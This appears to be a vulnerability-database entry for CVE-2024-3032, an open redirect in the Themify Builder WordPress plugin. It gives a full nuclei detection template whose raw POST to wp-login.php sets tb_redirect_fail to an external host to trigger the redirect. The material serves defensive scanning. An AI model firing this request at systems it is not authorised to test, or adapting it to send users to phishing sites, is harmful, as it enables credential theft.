HexBrain

Browse / CVEs / CVE-2024-3032

CVE-2024-3032· themify / builder· CWE-601

WordPress Themify Builder < 7.5.8 - Open Redirect

mediumseverity
6.1CVSS score
0.8%likelihood of exploitation, next 30 days
58%of all CVEs are less likely
Readycheck to confirm it

The Themify Builder WordPress plugin before version 7.5.8 contains an open redirect vulnerability. The plugin does not validate the tb_redirect_fail parameter before redirecting users to its value, which could allow attackers to redirect users to malicious websites.

Impact

Attackers can redirect users to malicious websites, potentially leading to phishing attacks or credential theft.

Fix

Update Themify Builder to version 7.5.8 or later.

How to confirm it

Send: GET /
Positive when: contains "themify-builder"
Send: POST /wp-login.php
Positive when: status 302 AND matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$/

Run it with nuclei: nuclei -id CVE-2024-3032 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-3032

info:
  name: WordPress Themify Builder < 7.5.8 - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    The Themify Builder WordPress plugin before version 7.5.8 contains an open redirect vulnerability. The plugin does not validate the tb_redirect_fail parameter before redirecting users to its value, which could allow attackers to redirect users to malicious websites.
  impact: |
    Attackers can redirect users to malicious websites, potentially leading to phishing attacks or credential theft.
  remediation: |
    Update Themify Builder to version 7.5.8 or later.
  reference:
    - https://wpscan.com/vulnerability/d130a60c-c36b-4994-9b0e-e52cd7f99387
    - https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-3032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-3032
    cwe-id: CWE-601
    epss-score: 0.00816
    epss-percentile: 0.57402
    cpe: cpe:2.3:a:themify:builder:*:*:*:*:-:wordpress:*:*
  metadata:
    max-request: 2
    vendor: themify
    product: builder
    fofa-query: body="wp-content/plugins/themify-builder/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,redirect,themify-builder,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "themify-builder"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: http://oast.me

        log={{username}}&pwd={{password}}&tb_login=1&tb_redirect_fail=https://oast.me

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 302

      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'

References

Use this check only on systems you are authorised to test. Where the data comes from